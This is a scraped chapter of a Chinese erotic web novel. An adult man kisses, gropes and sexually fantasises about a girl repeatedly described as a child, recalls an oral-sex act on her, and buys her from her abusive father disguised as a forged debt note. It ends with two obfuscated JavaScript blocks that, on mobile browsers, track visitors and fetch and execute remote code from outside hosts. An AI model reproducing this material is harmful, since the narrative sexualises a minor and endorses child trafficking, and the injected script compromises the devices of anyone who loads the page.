图片载入中

春满香夏-第五集 第五章 贱中之贱

特大字】 【大字】 【中字】 【小字

香甜的一觉啊!比起柳清月和林秋兰偶尔不老实的睡相,睡得像小花猫般老实的小宣基本上不会乱翻动身体,而且很乖巧,让张俊不会有间歇性被吵醒的时候,因此当张俊稍微有意识的时候,觉得现在应该已经不早了。

张俊习惯性的伸了个懒腰,打了个哈欠,并摸了摸,才发现温暖的被窝旁边已经没人,睁开眼睛这才发现小萝莉已经起床,正盘腿坐在沙发上发呆,眼神有些空洞,无辜而迷茫的模样看起来可爱,一袭卡通的睡衣更是衬托几分童趣,光着脚丫子在清晨看来更显可人。

张俊顿时就有精神,而且他睡觉一向浅眠,小宣起床时居然没吵醒他,可想而知她有多幺小心翼翼。

张俊坐起身,挠了挠乱七八糟的鸡窝头,一边点烟,一边笑呵呵地问道:“小宣,你呆坐在那里,怎么不看电视啊?”

小萝莉闻言顿时浑身一震,回过头,在清晨第一次这样清楚看见男人那充满线条的强壮上身,那一块块肌肉看起来充满男人味,令她的小脸不由得羞红,不好意思地说道:“不会开。”张俊闻言错愕不已,心想:不会开电视就在发呆,这算什么事啊?

张俊刚想笑时就见小宣一脸难为情,便马上憋住笑意,而想想照她家的情况来看,估计没电视可以看,而且那边似乎连电都没有,小宣又没出过门哪会用!

再看墙上的电视,新颖而时尚,估计他都不会用更别说小宣,便柔声问道:“你刷牙了吗?”“刷了。”小宣乖巧的点了点头,见张俊全身赤裸的走下床,清晨那根吓人的大东西硬硬翘立着,立刻就羞红着脸别过头。尽管昨晚已经被占便宜,但毕竟还是未经人事的小女孩,哪受得了张俊这随意的举动?张俊倒已经对小宣动不动就脸红的毛病免疫,得意的晃了两下命根子,就跑到厕所一边排泄着清晨的毒素,一边胀红着脸道:“小宣,你拿电话打给柜台,让他们先给你送一身衣服来换……噢……噢……啊!”随即是一阵硬物落水的声音。“我、我不敢……”小萝莉怯怯地说道。心里一羞,但又有种错觉,似乎她和张俊已经是老夫老妻,这样亲昵的举动看似粗鲁,又带着一种亲密的温馨!

无语了,这种事还有什么不敢?张俊郁闷地洗完澡,想想还是不穿西装比较舒服,便围了条浴巾走出来。

一看小萝莉还在发呆,张俊便笑了笑,打了通电话给柜台,让他们去买衣服,这才走过去坐在小萝莉的旁边,大手一伸,直接将还在发呆的小萝莉搂在怀里。

小宣明显也洗过澡,身上还带着沐浴乳的清香,让人一闻就特别提神。

张俊一边温柔地摸着小宣的小脸,一边笑呵呵地问道:“傻丫头,你在想什么呢?”

小萝莉有些失神的看了看张俊,他那湿淋淋的头发和一脸的笑都让她觉得心神荡漾,突然表神变得十分紧张,语气惊恐地说道:“我怕回去后,我爹会打我!刚出来就闹这么大的事,他一定会把我的腿打断的!”小宣那楚楚可怜的模样让人十分心疼,令张俊不由得搂紧她,心里有些冒火:哪有这样当爹的!女儿有事不管不顾,也不知道稍微安慰,居然还会粗暴的打骂!

这样的家回去有什么用?何况像小宣这样一个可爱的孩子,谁会舍得骂她?与其让她回去那个所谓的家受罪,还不如由我好好的照顾她。

为自己无耻的养成计划找了一个十分正当的理由后,张俊稍稍想了想,就转头看着忧心忡忡的小萝莉,语气认真地问道:“小宣,以后不要回那个家了!俊哥哥养你,并供你读书好不好?”

小萝莉神情一羞,眼神马上就有一丝向往,但又有些为难地说道:“可、可我怕我娘不高兴。”张俊继续柔声劝道:“没关系,到时你想她了,咱们就把她接出来就行了!实在不行的话,俊哥哥帮她找个活干,让她能多陪小宣好不好啊?”

小宣彷徨的心似乎安定下来,开心的笑了笑,说道:“嗯,人家都听你的。”说完,小宣把头枕在张俊的肩膀上,小脸上尽是甜蜜的笑容。

小宣那温顺的模样和红润的小嘴实在太迷人,令张俊忍不住低下头擒住小宣的小嘴,给了她一个长长的湿吻,肆意地品尝着她那香甜的味道,直到小宣连气都喘不上来时,才不舍地放开她。

见小宣的粉脸上尽是娇羞的红晕,并微微的娇喘着,张俊忍不住又将她压倒在沙发上,再一次品尝她粉嫩的小嘴和迷人的体香,一次次的把她吻得几乎要窒息,又一次次的把她抱在怀里呵护着。

张俊忍住想上下其手的冲动,而那温柔体贴的动作、恋人间的亲密,让小宣眼底的水雾更浓郁,眼底多了几丝说不出的柔媚!“宣宣、小宝贝……”张俊又亲又搂,将小萝莉抱在怀里,一边看着电视,一边不时逗逗她,感觉特别开心!“俊哥哥,别、别摸我屁股……”小萝莉享受着张俊那亲密的怀抱,虽然感到羞涩,却一点都不反感,反而对这亲密的举动有种陶醉!

张俊和小宣嬉闹一阵子,服务生就送上来一套休闲运动服,和一身可爱的连身裙,买的都是最好的款式。

小萝莉害羞地走到浴室换起衣服,当张俊喊她一起换的时候,更是羞得跑开。

等小宣换好衣服出来时,她就像个公主般可人,令张俊眼睛一亮,忍不住啧啧赞叹几句后,这才拉着她的手走离开别墅。

张俊本想带小宣去镇里闲逛,顺便帮她买点衣服,但仔细想想,觉得还是先回去把事情处理一下比较好,毕竟这种事拖久了总是不好。

在打定主意后,张俊直接把车停在王东来的工地上,和她一起过湖。还真别说,打扮后的小宣实在太可人,一路上都吸引着人们的目光,令小宣是又羞又怕的往张俊身后缩,那羞怯的模样让人恨不得直接把她吞了。

张俊在湖的两边都有车,可就渡湖时没有船很不方便,而看着停靠在码头边,陈敬国送他的那艘游船,张俊不由得想,是不是找个时间学开船比较好。其实这一带有路可以通,就是水库旁的小路,但那里多年失修而且路窄,曾开放过一段时间,可满地都是牛粪和垃圾没人清扫,所以早就把那一带都封闭起来。“哟,这是兰娃家那丫头?”

海叔一边撑着船,一边打量着小宣,愣了好一会儿,这才认出眼前这可爱的丫头明显和前段时间的土气不同,变得很动人。“嗯,带她出去玩了一圈……”张俊含煳的应了一声,就一边窃笑地看着小宣,一边和海叔瞎扯起来。虽然张俊现在有钱了,但性子依旧保持着随和,而比较亲近的还是那些以前帮助过他的乡亲。

乘着小船到岸后,小宣有些扭捏地走着,并走得特别慢,似乎是觉得身上的新衣服有些别扭,和这淳朴的乡村不太相称,所以好一会儿才走到林秋兰家,要不是张俊一直拉着她走,估计她连挪动脚步都会不好意思,确实,小宣那一身蕾丝边的粉色公主裙、紫兰色的凉鞋,站在这乡下地方确实太显眼了!

走到林秋兰家的院门口时,张俊还没走进去,一看里面的场景差点就想掉头跑了。

只见在夏天大中午,有一群人围在树下,一边烤着地瓜,一边有说有笑的谈着什么,似乎一点都不怕夏天的炎热。而各有千秋的美丽虽然看着养眼,但聚在一起就不是什么好事,除了林秋兰母女俩外,柳清月和杨柳都在,而且都谈笑风生的样子。

妮妮打扮得可人,穿着新衣服俨然就是可爱的洋娃娃,林秋兰虽然是普通的农妇打扮,但在爱情的滋润下越发水润,眉宇间总有淡淡的媚气,而虽然有极品母女俩,但旁边的两个尤物却毫不逊色。论姿色,柳清月可以算得上是万里挑一,而且身材高挑显得性感!而杨柳虽然没有柳清月那么有女人味,但那娴雅的气质、书卷味却也是让人眼睛一亮!“俊哥哥,你回来啦……”妮妮一看到张俊立刻欢唿一声,打断众女和睦的调笑。“嗯,回来了。”张俊马上强作镇定的朝众女笑了笑,心里感到忐忑,他不得不承认这些女人坐在一起,真是环肥燕瘦极是动人,一个个眼底悄悄的爱意也是让人心动,但凑在一起,多少让人心头难安。

林秋兰眼尖的看见就要往张俊身后躲的小宣,立刻如释重负的吐了一口气,走上前,将小宣拉到怀里,爱怜地说道:“丫头,你可总算回来了,担心死我了。”或许是因为林秋兰已经把小宣不幸的遭遇告诉其他人,因此当小宣刚被林秋兰抱住忍不住哭起来时,杨柳和柳清月也马上围上来,一个劲的安慰着,并一个劲的哄着小宣,只有妮妮站在旁边有点茫然,不知道发生什么事,不过还是赶紧上前凑热闹。

张俊倒是被众女忽视,并没有人搭理,不过张俊可不敢待在这里,而且在来的时候已经嘱咐小宣暂时和谁都别说他们之间的关系,更不能说口爆她的事,而看了看时间还早,也头疼再继续待下去会很难受,想了想后,朝忍不住落泪的林秋兰问道:“兰姨,小宣家的地址你和我说一下,我现在就过去把这事处理一下,顺便把消息告诉他们,免得时间久了会难办。”

林秋兰抱着小宣点了点头,在说出小宣家的地址后,恳求道:“小俊,如果他们不愿意,你就别太为难人了,毕竟怎么说都是小宣的爹娘。”

这时小萝莉也将头从林秋兰的胸前抬起来,尽是哀求地看着张俊,只见她哭得像小花猫,那梨花带雨的模样楚楚可怜,任谁看了都会心碎!

“怕什么!照说,那样的男人就该打一顿……”

此时柳清月粉眉含怒,明显是听了小宣的事情心里很不爽!虽然现在她无亲无故,但她父亲活着时,可是把她当掌上明珠般宠着,现在再看小宣这可爱的样子,出于同情,当然也开始打抱不平。

“你凑什么乱子呀……”

杨柳白了柳清月一眼,一边安慰着哭得梨花带雨的小萝莉,一边转过头朝张俊柔声说道:“小俊,你去了别太过分,毕竟怎么说都是她的家人,咱们这些外人也不好管。”

张俊看来看去就是没看到小宣娘,可能她是害怕小宣爹所以就回去,而且看着众女真不敢在这里多待,就使劲的点了点头,说道:“放心,我心里有数。你们先聊,我现在就过去了。”

说完,张俊在众女的嘱咐下转身离去。

上了车后,张俊只祈祷众女说话时别说漏嘴就好,毕竟在这种情况下,要待在那里就像要过地雷阵似的要小心翼翼,要是有哪个女人一激动把奸情说出来那就惨了,稍微再出一点差错那就是惨上加惨,人间悲剧啊!而且在场的除了妮妮之外,几乎都和他有一腿,不知道会不会被她们联手给剁了!

张俊看着林秋兰给的地址,发现小宣家真有点远,都已经到了没人烟的山里,而且村名是那种拗口的本地土音,甚至到现在还没翻译成正式的文字,虽然三山村一带挂着穷的名号,但实际上就是这一带不富裕,但小宣家真的是穷,别说水电,就连像样的路都没有一条,让你瞬间有穿越回古代的感觉。

张俊开着车,走过崎岖的山路都要将近三个小时的时间才会到小宣家,一路上山道蜿蜒,树两边横出来的树枝都把车刮花,当张俊开到这里时,心里却有些上心忑,虽然在小萝莉面前把话说得很满,但怎么说都是要把人家的闺女拐跑,这样的事干起来谁都会心虚。

一进到所谓的村子时,张俊一看心都凉了:这哪是村子呀!根本就是散落在大山各处的小木屋而已!

张俊偶尔看见的几间泥坯房子还算结实,可这一带全是老旧的木头搭起来的房子,好象风吹就会倒,而所谓的路不过是人踩出来的小道,到处都是荒山乱石,看起来没有半点生气,和这一比,三山村的情况简直是天堂了!

和路过的老乡打听后,张俊这才来到小宣的家,勉强来说和叶子家差不多,有种说不出的破败,木棍搭起来的屋子早就被蛀得百孔千疮,看起来摇摇欲坠,就连门都歪一边,晚上根本就关不紧。

一条瘦得只剩骨头的老狗,一见到张俊的车停在门口立刻就狂吠起来,引得屋内的人探出头看热闹,倒不是说夸大其词,而是在这地方看见一辆车和看见鬼一样稀奇,所以立刻就有两个十岁左右的小鬼头跑过来,好奇地打量着。

这时几个大人也跟出来,张俊一眼就看见在门口有些畏畏缩缩的小宣娘,正一脸低落的纳着鞋底,旁边一个看起来老实软弱,但却贼眉鼠眼的男人,让人一看就不会有好印象,他应该就是小宣的爹。张俊看他们的长相都不怎么样,真不知道怎么会生出小宣如此迷人的小萝莉,心想:难道是她娘出去偷人?这绝对是事情的唯一真相!想到这里,张俊一边下车,一边思考这事该怎么处理比较好。

张俊打量着小宣的家,心里有股说不出来的凉意。只见偌大的院子,收拾得算干净但也家徒四壁,两间小木屋不知道盖了多少年,连木头都有些发黑,从门外往里面一看,隐隐可见就连地上都是泥土,屋内几乎没有家当,这所谓的房子其实就是比牛棚严密一些。

在下车后,张俊故意放慢脚步朝小宣的父亲走过去,一边思考,一边打量着他们。张俊明显感觉到小宣娘有些紧张和害怕,而一细看,她脸上还有些瘀青,脸也有点发肿,似乎是被打的,不用说肯定是小宣爹打的。

小宣娘一看见张俊随即眼睛一亮,刚想问小宣的情况,可一看小宣爹又马上害怕的低下头,似乎是害怕又惹来一顿拳脚,张俊顿时觉得有些不爽。

“找谁呀……”

小宣爹一开口,就是很难听懂的本地土话。而他看见一个开车的人,眼底里闪过一丝敬怯,但又有着说不出的贪婪和嫉妒,让人感觉十分不爽!

小宣爹的模样是怎么看怎么不顺眼,因此张俊走过去后也没给他好脸色,皱了皱眉,板着脸问道:“你就是刘雨宣的爹吗?”

“是!是!您是?”

小宣爹见张俊衣着光鲜的样子,立刻就紧张得有些结巴,毕竟他再怎么样坏,都是性子怯弱的乡下人,而张俊现在有钱了自然说话也有底气,再加上身体挺直强健,往那一站就把他压了一头。

张俊有些厌恶地瞥了小宣爹一眼,发现这家家徒四壁,身上的衣服也都破旧得很,可这些都不是让人讨厌的地方,毕竟贫穷并不是任何的罪过,可张俊最讨厌的是他的贼眼老是在自己的身上扫来扫去,然后一副低三下四的样子,而他那在家打骂妻女,在外人面前却孙子模样,让张俊有种想狠狠踢他几脚的冲动,甚至不知道为什么,光看见这张脸就想在他脸上结实的踹上一脚。

从一进来,张俊对小宣爹的第一印象就是那种胆小怕事的人,而且应该没见过世面,估计可能连镇上都没去过几次,只要稍微吓唬应该就能收到效果,张俊在心里盘算一遍后,便点了一根烟,眼神冰冷地说道:“她故意伤人的事,你还知道吧?”

小宣爹一听到这话题立刻就有些不自在,甚至有点畏缩。

见小宣爹似乎想逃避,张俊立刻冷笑一声,说道:“别他妈的和我说,她不是你闺女之类的屁话,老实告诉你,你算是她的监护人,这钱你掏也得掏,不掏也得掏。这事要是想处理得要几万块,你最好给我想清楚再说话。”

小宣爹立刻愣住了,似乎是被张俊吓傻,声音有些发颤地问道:“啥?得好几万?”

说着,小宣爹手都有些发抖,腿也是一软。

小宣娘闻言也吓了一跳,幽幽的看了小宣爹一眼,眼底除了哀伤外,更多了绝望。

“那你以为要多少?”

张俊冷冷的笑道,发现小宣爹应该和他观察的一样,是个没用的软蛋,先吓唬一下肯定有成效。

小宣爹立刻苦着脸,哀求道:“我求求你了!别再来找我行不行?我家上有老,下有小的,而且就这破房子,哪有那个闲钱赔啊?那丫头自己惹的祸,你就让她自己解决,别人家生的闺女都能给家里赚钱,就我这倒霉闺女一出去就给我惹事!”

说完,小宣爹脸上居然还不自觉的有一些厌恶。

虽然早知道小宣爹是这种人,但现在亲耳听到这些混账话,张俊不免有些生气,但想了想还是压抑想骂人的冲动,语气发闷地说道:“那照你这意思,你不想管这事了?我告诉你,没这么便宜的事。”

小宣爹立刻如小鸡啄米般点着头,可怜兮兮地哀求道:“可这死丫头我哪管得来啊!你们爱怎样处理她都行,别连累我们就行了!你看俺这房子,就算扒了,都没钱给你们啊!”

张俊忍得脸都有些黑,看着小宣爹的样子,如果可以张俊真想把他丢在湖里喂鱼,而看小宣娘已经在暗自落泪,更是火冒三丈,想了想,张俊没好气地说道:“老实告诉你,我能帮她把这事摆平……”

张俊话还没说完,小宣爹立刻紧张的摇了摇手,说:“不!不!我可出不了这钱,你就别管那丫头了,让她自生自灭就行了!该怎样处理就怎样处理,这事她自己闹出来,凭啥让我们帮她处理。”

这种话任谁听都不会舒服,因此张俊立刻臭着脸,居高临下地瞪着小宣爹,瞪得他心虚的低下头,这才吐了一口烟,缓缓说道:“你要真不想管这事也不成,老子可以负责摆平。老实告诉你,我看上那丫头,想让她给我做小的。”

“真的?”

小宣爹闻言双眼立刻大放精光,似乎是很羡慕那些被老板包养的女孩子,哪里还有半点父亲的样子,眼里闪现的全是贪婪的光芒,让人无比厌恶。

张俊厌恶的点了点头,不过还是忍下想揍人的冲动,没好气地说道:“不过老子可不喜欢和你这种人当亲戚,这事我帮她处理就好,花的钱也算我的,而以后她和你家就没半点关系了。”

小宣爹立刻变了嘴脸,一副骨肉情深的样子说道:“这怎么可以呢?怎么说都是俺闺女,俺媳妇十月怀胎生的,怎就没半点关系?”

张俊哼了一声,冷笑道:“真是爱女情深啊!既然这样的话,我就不干这种白费劲的事。才几万块而已,你应该出得起吧?这两天你准备好钱,自然有人会来找你谈。”

“不不不……”

小宣爹立刻慌了,一个劲地摆着手,苦着脸说道:“俺家哪来的钱啊?那丫头有人看得上是她的福气。要不然还不知道得被人折磨成啥样?俺全家谢你都来不及。”

说完,小宣爹的贼眼又熘熘的转了几圈,不知道在打什么主意。

张俊笑了笑,一副色色的样子说道:“我的钱也不是大风刮来的,要花出去起码也要有回报,总不能白白的花钱救一个和自己没关系的人吧!你想想,好几万块钱,怎么说都不能白花,对吧?”

小宣爹一副贱样的搓着手,点头哈腰地说道:“那是、那是!这钱不能让你白花……”

说完,小宣爹的贼眼熘熘的转了一圈,试探着说道:“不过,这丫头好歹咱养活了十多年,别人家嫁闺女都有点啥,您是不是……”

张俊早知道小宣爹会来这一套,也懒得再和他纠缠下去,冷哼了一声,说道:“你是想卖闺女吧?多少钱,说!”

小宣爹激动的想了一会儿,试探着说道:“要不,照这里的彩礼来。给一万?”

说完,小宣爹一脸期待地看着张俊。

张俊冷笑一声,弹了弹烟灰,说道:“呵呵,倒是不算多。不过小宣这事,我办完都花了几万块,要是照一万块彩礼算钱,你是不是还得退一些给我啊!”

小宣爹尴尬的笑了笑,奉承着说道:“看您说的,您这样的老板怎能和俺们计较这些?再说俺家那小丫头是做小的,咱都得忍着别人的吐沫星子,不是吗?”

张俊也懒得和小宣爹再磨蹭,何况事情顺利得真是让他都有些意外,于是他厌恶地看了小宣爹一眼,就直接从兜里掏出一万块晃了晃。

小宣爹的贼眼立刻大放光彩,脸上的表情更贱,而这时他哪有心思惦记着小宣,就琢磨着该怎么把这钱拿到手!

张俊一边晃着钱,一边引诱说道:“给老子写张凭据,再把户口本拿出来。事情一完,这钱就是你的了!”

“啥?”

小宣爹愣了一下,随后不好意思地说道:“那丫头哪来的户口啊?生个闺女去报的话还得交罚款,咱哪付得起罚款?再说了,俺和她娘连结婚证都没有,又怎么给她报户口?”

晕了,居然连户口都没有,黑户啊!没想到这一带的人,没有法律常识到这地步了!张俊偷偷瞥了小宣娘一眼,见小宣娘立刻点了点头,张俊心想:看来是真的!可怜的丫头啊,要真继续待在这里,以后连读书都成问题,不过没有也不错,事情处理起来倒是方便多。

“给我写张纸条吧!”

张俊顺手把一万块砸到小宣爹的身上,咬了咬牙,才忍住想揍他的冲动。

“这个……”

小宣爹贪婪地拿着钱,有些为难地苦着脸说道:“俺不识字,怎写啊?要不你写完,俺给你画个押吧!”

“也行……”

说完,张俊转身从车上拿来笔和纸,却把这事的过程写了下来,然后用欠条的形式写成小宣爹欠他六万块。心想:开玩笑,如果按实情写,那不是贩卖人口了吗?这样挖坑给自己跳的事谁会做呀!

小宣爹是真的不识字,手里拿着钱早把他高兴得咧嘴大笑,纸上的内容是什么对他来说已经不重要,看都没看就兴高采烈的在印泥上按了一下,还装出难舍难分的样子,说道:“俺闺女跟了你,你可要对她好点啊!”

张俊闻言心里又有些不爽,在把这张纸收了起来后,恶狠狠的看着小宣爹,说道:“钱老子给你了,而以后小宣就和你们家没半点关系。你要敢厚着脸来找小宣,老子把你丢去湖里喂鱼。”

“不会、不会!”

小宣爹贱笑着把钱揣到兜里,点头哈腰的将张俊送到门口,还厚颜无耻的献媚道:“以后要没事多来串门子,咱亲戚家还有别的小姑娘长得挺水灵的,包准你看得上。”

小宣爹那如拉皮条一样的话、老鸨一样低贱的表情,让张俊蔑视他之余也鄙视自己,他居然心动了!而想想小宣那么水嫩,要是她也有个一样漂亮的姐妹,或许他也是可以考虑一下……

上车后,张俊隔着玻璃,就见小宣爹兴奋得像是狗看见屎般数着手中的钱,完全就像个卖了牲口的生意人一样;再看小宣娘却是坐在门前暗自垂泪,虽然她不知道他来干什么的,但看小宣爹这么高兴,估计是认为没好事吧!

张俊不由得叹了一口气,觉得这样的家庭确实是个悲剧,一点点钱就让小宣爹对亲生女儿不管不顾,估计小宣那个姐姐命运也好不到哪里,或许他的做法是对的,起码不能让这可爱的丫头在这种畸形的环境下成长。

张俊慢慢沿着山路开回去,心里多少松了一口气,不过想想还是有点生气,因从头到尾小宣爹都没问过小宣的情况,对于小宣一点都不关心,简直冷漠得像不认识,而且说话时更像是在卖家畜般的讨价还价,要是这样的情况被小宣知道,她会哭成什么样啊?所以这事必须绝对保密。

虽然刚才张俊装得恶声恶气,但他没想到居然用一万块就摆平,小宣爹未免把小宣看得太不值钱,这样水嫩的女生摆到大街上,会有多少怪叔叔愿意花这钱去疼爱她;如换一个更下流的说法,就算是去当小姐,初夜可能一万块都有人抢着要,或许小宣是被这次伤人事件吓怕,才会被他轻易得手。

张俊想了想,觉得总不能让小宣连户口都没有,便打了通电话给王东来,含煳的说了一下这事。

而报户口这种小事,对王东来来说没困难,而且这穷乡僻壤的制度也宽松,不少人也没有户口,镇公所的员工也早就麻木,对这些事都是得过且过,因此王东来立刻爽快地答应了。

爽啊!想想以后这个粉雕玉啄、温顺得像小绵羊般的萝莉就彻底属于自己,想怎么养就怎么养!想到这里,张俊不禁兴奋起来,而且又想到昨晚在小宣的小嘴深深的一爆,她那脸红的模样,软嫩的小手、小嘴,还有那还没被他欣赏过的娇躯。

张俊色笑着,最后下身竟无耻的硬了!而且开始想以后该怎么调教小宣,不过想想张俊也有点后悔,看小宣爹那样一个山里的野人,早知道就拿假钞给他就好了,估计他也认不出来,悲剧啊,白花花的一万块!

就在张俊遐想连连时手机来了一封简讯,内容很不幸:小俊,这里真的很好玩啊,晚上你早点回来,兰姐说要给我们做顿好吃的。就等你了,I love you !

万恶的柳清月啊!张俊看着这调皮而深情的简讯苦笑着,心想:这简直就像是鸿门宴!不,可能比鸿门宴更加惊险!两个和他已经发生关系,一个则是绝对的暧昧中,而另一个昨晚才把她口爆,不知道到时会发生什么事!张俊想想都觉得头皮发麻,吃也绝对没办法吃的安稳。

不过张俊想想也觉得不错,起码看众女现在相处在一起很愉快,说不定以后会有机会让他左拥右抱也说不定,而且确实有些有钱人会有几个老婆,虽然没办法公开但也有这种事,他是不是也能过上娥皇女英、大被同眠的日子,真是期待呢!

张俊心里浮想联翩,整个人也轻飘飘,他一边行驶在这陌生的山路上,一边开始意淫起一幕幕让人鼻血乱喷的香艳画面……


上一篇:春满香夏-第五集 第六章 山中精灵

下一篇:春满香夏-第五集 第四章 诱骗


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};